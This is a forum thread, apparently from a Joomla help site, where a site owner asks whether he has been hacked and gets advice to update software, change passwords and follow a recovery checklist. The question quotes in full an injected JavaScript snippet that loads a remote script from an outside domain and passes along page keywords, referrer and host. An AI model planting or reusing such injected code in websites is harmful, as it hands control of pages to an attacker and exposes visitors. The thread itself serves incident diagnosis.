1

When the website is opened, I notice a message on the lower left hand side of the page with an unfamiliar address. Examining the source code I see the following:

<script>var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('<script type="text/javascript" src="http://www.blackdragon.fr/js/jquery.min.php?c_utt=G91825&c_utm='+encodeURIComponent('http://www.blackdragon.fr/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent(window.location.host))+'"><'+'/script>');}</script>

Have I been hacked? Advice would be appreciated. -Carter

Improve this question
3
  • Update Joomla. Update all extensions. Update all passwords (cpanel, ftp, admin etc). Try to find the source of the issue.
    – Lodder
    Mar 21, 2016 at 13:31
  • Also, whose in charge of the server? Is this is a vm or actual box you manage can log into? If your folder/file permissions are not strict enough, imnediately check the PHP template files in question to ensure code was not inserted. iIt's possible your server has been compromised.
    – Brian Bolli
    Mar 21, 2016 at 14:57
  • Joomla and all extensions are up to date. The site is on rackspace. I agree and I'm looking for the source of the problem.
    – Carter Harris
    Mar 21, 2016 at 15:19

1 Answer 1

Reset to default
1

Yes, your site has been compromised.

Please, review the following checklist:

Security Checklist/You have been hacked or defaced https://docs.joomla.org/Security_Checklist/You_have_been_hacked_or_defaced

More info: What to do if my Joomla website got hacked?

Improve this answer

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge that you have read and understand our privacy policy and code of conduct.

Not the answer you're looking for? Browse other questions tagged or ask your own question.